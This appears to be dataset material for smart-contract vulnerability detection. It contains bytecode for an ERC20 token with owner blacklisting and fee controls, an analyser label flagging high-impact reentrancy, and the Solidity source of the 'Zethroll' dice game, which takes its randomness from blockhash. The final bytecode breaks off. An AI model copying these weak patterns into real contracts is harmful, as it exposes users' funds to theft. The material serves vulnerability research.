0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104b257600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b506040805180820190915260088152674a61636b20496e7560c01b60208201525b6040516102389190611a26565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a7b565b61069c565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611aa7565b6106b3565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae8565b61071c565b34801561036c57600080fd5b506101fc61037b366004611b15565b610767565b34801561038c57600080fd5b506101fc6107af565b3480156103a157600080fd5b506102c06103b0366004611ae8565b6107fa565b3480156103c157600080fd5b506101fc61081c565b3480156103d657600080fd5b506101fc6103e5366004611b30565b610890565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae8565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611b15565b6108bf565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506040805180820190915260088152674a41434b20494e5560c01b602082015261022b565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026161050d366004611a7b565b610974565b34801561051e57600080fd5b5061026161052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c0610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a11695b7550b9f8d21da1c1abd88dba07b6f3aa6781af1125d01c88930a3a96664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
414
0x0096dc2246fc3627cc2bf87a3b0d2e0f87b58589
pragma solidity ^0.4.23; /* * Zethroll. * * Adapted from PHXRoll, written in March 2018 by TechnicalRise: * https://www.reddit.com/user/TechnicalRise/ * * Adapted for Zethr by Norsefire and oguzhanox. * * Gas golfed by Etherguy * Audited & commented by Klob */ contract ZTHReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function getFrontEndTokenBalanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethroll is ZTHReceivingContract { using SafeMath for uint; // Makes sure that player profit can&#39;t exceed a maximum amount, // that the bet size is valid, and the playerNumber is in range. modifier betIsValid(uint _betSize, uint _playerNumber) { require( calculateProfit(_betSize, _playerNumber) < maxProfit && _betSize >= minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } // Requires game to be currently active modifier gameIsActive { require(gamePaused == false); _; } // Requires msg.sender to be owner modifier onlyOwner { require(msg.sender == owner); _; } // Constants uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 99; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; // Configurables bool public gamePaused; address public owner; address public ZethrBankroll; address public ZTHTKNADDR; ZTHInterface public ZTHTKN; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; // Trackers uint public totalBets; uint public totalZTHWagered; // Events // Logs bets + output to web3 for precise &#39;payout on win&#39; field in UI event LogBet(address sender, uint value, uint rollUnder); // Outputs to web3 UI on bet result // Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); // Logs owner transfers event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); // Logs changes in maximum profit event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); // Logs current contract balance event CurrentContractBalance(uint _tokens); constructor (address zthtknaddr, address zthbankrolladdr) public { // Owner is deployer owner = msg.sender; // Initialize the ZTH contract and bankroll interfaces ZTHTKN = ZTHInterface(zthtknaddr); ZTHTKNADDR = zthtknaddr; // Set the bankroll ZethrBankroll = zthbankrolladdr; // Init 990 = 99% (1% houseEdge) houseEdge = 990; // The maximum profit from each bet is 10% of the contract balance. ownerSetMaxProfitAsPercentOfHouse(10000); // Init min bet (1 ZTH) ownerSetMinBet(1e18); // Allow &#39;unlimited&#39; token transfer by the bankroll ZTHTKN.approve(zthbankrolladdr, MAX_INT); } function() public payable {} // receive zethr dividends // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // Calculate the maximum potential profit function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } // I present a struct which takes only 20k gas struct playerRoll{ uint200 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits uint8 rollUnder; // Roll under 8 bits } // Mapping because a player can do one roll at a time mapping(address => playerRoll) public playerRolls; function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens // Check that this is a ZTH token transfer require(_zthToken(msg.sender)); playerRoll memory roll = playerRolls[_tkn.sender]; // Cannot bet twice in one block require(block.number != roll.blockn); // If there exists a roll, finish it if (roll.blockn != 0) { _finishBet(false, _tkn.sender); } // Set struct block number, token value, and rollUnder values roll.blockn = uint40(block.number); roll.tokenValue = uint200(_tkn.value); roll.rollUnder = uint8(_rollUnder); // Store the roll struct - 20k gas. playerRolls[_tkn.sender] = roll; // Provides accurate numbers for web3 and allows for manual refunds emit LogBet(_tkn.sender, _tkn.value, _rollUnder); // Increment total number of bets totalBets += 1; // Total wagered totalZTHWagered += _tkn.value; } // Finished the current bet of a player, if they have one function finishBet() public gameIsActive returns (uint) { return _finishBet(true, msg.sender); } /* * Pay winner, update contract balance * to calculate new max bet, and send reward. */ function _finishBet(bool delete_it, address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); // No re-entracy require(roll.blockn != block.number); // If the block is more than 255 blocks old, we can&#39;t get the result // Also, if the result has already happened, fail as well uint result; if (block.number - roll.blockn > 255) { result = 1000; // Cant win } else { // Grab the result - random based ONLY on a past block (future when submitted) result = random(99, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { // Player has won! // Safely map player profit uint profit = calculateProfit(roll.tokenValue, rollUnder); // Safely reduce contract balance by player profit contractBalance = contractBalance.sub(profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); // Update maximum profit setMaxProfit(); if (delete_it){ // Prevent re-entracy memes delete playerRolls[target]; } // Transfer profit plus original bet ZTHTKN.transfer(target, profit + roll.tokenValue); return result; } else { /* * Player has lost * Update contract balance to calculate new max bet */ emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); /* * Safely adjust contractBalance * SetMaxProfit */ contractBalance = contractBalance.add(roll.tokenValue); // No need to actually delete player roll here since player ALWAYS loses // Saves gas on next buy // Update maximum profit setMaxProfit(); return result; } } // TKN struct struct TKN {address sender; uint value;} // Token fallback to bet or deposit from bankroll function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { require(msg.sender == ZTHTKNADDR); if (_from == ZethrBankroll) { // Update the contract balance contractBalance = contractBalance.add(_value); // Update the maximum profit uint oldMaxProfit = maxProfit; setMaxProfit(); emit MaxProfitChanged(oldMaxProfit, maxProfit); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn); } return true; } /* * Sets max profit */ function setMaxProfit() internal { emit CurrentContractBalance(contractBalance); maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Only owner adjust contract balance variable (only used for max profit calc) function ownerUpdateContractBalance(uint newContractBalance) public onlyOwner { contractBalance = newContractBalance; } // Only owner address can set maxProfitAsPercentOfHouse function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { // Restricts each bet to a maximum profit of 20% contractBalance require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } // Only owner address can set minBet function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } // Only owner address can transfer ZTH function ownerTransferZTH(address sendTo, uint amount) public onlyOwner { // Safely update contract balance when sending out funds contractBalance = contractBalance.sub(amount); // update max profit setMaxProfit(); require(ZTHTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } // Only owner address can set emergency pause #1 function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } // Only owner address can set bankroll address function ownerSetBankroll(address newBankroll) public onlyOwner { ZTHTKN.approve(ZethrBankroll, 0); ZethrBankroll = newBankroll; ZTHTKN.approve(newBankroll, MAX_INT); } // Only owner address can set owner address function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } // Only owner address can selfdestruct - emergency function ownerkill() public onlyOwner { ZTHTKN.transfer(owner, contractBalance); selfdestruct(owner); } function dumpdivs() public{ ZethrBankroll.transfer(address(this).balance); } function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; // Is this the ZTH token contract? } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101765780630dda350f1461019d578063219df7ee146101b257806323214fab146101e35780633a4f6999146101f85780634025b5a81461020d57806343c1598d146102255780634f44728d1461023a57806355b930311461025b5780635e968a491461027057806361990759146102885780636cdf4c90146102ac5780636eacd48a146102c45780637c67ffe7146102de5780638701a2f0146102ff5780638b7afe2e146103145780638da5cb5b146103295780639619367d1461033e578063a948d72d14610353578063b539cd5514610368578063befa1e2f1461037d578063c0ee0b8a14610392578063c3de1ab91461040f578063ca9defb714610424578063ccd50d2814610448578063d263b7eb1461049b578063d667dcd7146104b0578063e5c774de146104c5578063f21502e5146104da575b005b34801561018257600080fd5b5061018b6104ef565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101746104f5565b3480156101be57600080fd5b506101c7610532565b60408051600160a060020a039092168252519081900360200190f35b3480156101ef57600080fd5b5061018b610541565b34801561020457600080fd5b5061018b610547565b34801561021957600080fd5b5061017460043561054c565b34801561023157600080fd5b5061018b61056d565b34801561024657600080fd5b50610174600160a060020a0360043516610574565b34801561026757600080fd5b5061018b6105c5565b34801561027c57600080fd5b506101746004356105ca565b34801561029457600080fd5b5061018b600435600160a060020a0360243516610603565b3480156102b857600080fd5b506101746004356106a4565b3480156102d057600080fd5b5061017460043515156106c5565b3480156102ea57600080fd5b50610174600160a060020a03600435166106f4565b34801561030b57600080fd5b5061018b610871565b34801561032057600080fd5b5061018b610892565b34801561033557600080fd5b506101c7610898565b34801561034a57600080fd5b5061018b6108ac565b34801561035f57600080fd5b506101c76108b2565b34801561037457600080fd5b5061018b6108c1565b34801561038957600080fd5b5061018b6108c7565b34801561039e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103fb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108cd9650505050505050565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506103fb6109c3565b34801561043057600080fd5b50610174600160a060020a03600435166024356109cc565b34801561045457600080fd5b50610469600160a060020a0360043516610ae6565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b3480156104a757600080fd5b50610174610b1d565b3480156104bc57600080fd5b5061018b610bf7565b3480156104d157600080fd5b5061018b610bfd565b3480156104e657600080fd5b506101c7610c03565b600a5481565b600154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561052f573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606381565b6000546101009004600160a060020a0316331461056857600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461059057600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105e657600080fd5b62030d408111156105f657600080fd5b600781905561052f610c12565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106715780518252601f199092019160209182019101610652565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a031633146106c057600080fd5b600855565b6000546101009004600160a060020a031633146106e157600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a0316331461071057600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d60208110156107ae57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b505050565b6000805460ff161561088257600080fd5b61088d600133610c59565b905090565b60045481565b6000546101009004600160a060020a031681565b60085481565b600154600160a060020a031681565b60065481565b60095481565b6000806108d861125c565b600254600090600160a060020a031633146108f257600080fd5b600154600160a060020a03888116911614156109725760045461091b908763ffffffff610f4616565b600455600654925061092b610c12565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a1600193506109b9565b600160a060020a03871682526020820186905284518590600090811061099457fe5b016020015160f860020a9081900481020490506109b460ff821683610f5c565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a031633146109e857600080fd5b6004546109fb908263ffffffff6111c516565b600455610a06610c12565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a7557600080fd5b505af1158015610a89573d6000803e3d6000fd5b505050506040513d6020811015610a9f57600080fd5b50511515610aac57600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600b60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a03163314610b3957600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d6020811015610be257600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b6000610c63611273565b50600160a060020a0382166000908152600b6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610cce57600080fd5b602084015165ffffffffffff16431415610ce757600080fd5b60ff846020015165ffffffffffff1643031115610d08576103e89250610d26565b610d206063856020015165ffffffffffff16886111d7565b60010192505b836040015160ff16915081831015610ea8578351610d4d90600160c860020a0316836111f6565b600454909150610d63908263ffffffff6111c516565b600455835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610dd6610c12565b8615610df657600160a060020a0386166000908152600b60205260408120555b6003548451604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038a81166004830152600160c860020a03909316850160248201529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610e7257600080fd5b505af1158015610e86573d6000803e3d6000fd5b505050506040513d6020811015610e9c57600080fd5b50929450849250610f3c565b835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610f2d91600160c860020a031663ffffffff610f4616565b600455610f38610c12565b8294505b5050505092915050565b600082820183811015610f5557fe5b9392505050565b610f64611273565b60005460ff1615610f7457600080fd5b816020015183600654610f8783836111f6565b108015610f9657506008548210155b8015610fa25750600281115b8015610fae5750606381105b1515610fb957600080fd5b6020840151600160c860020a0311610fd057600080fd5b65ffffffffffff4310610fe257600080fd5b610feb33611248565b1515610ff657600080fd5b8351600160a060020a03166000908152600b602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260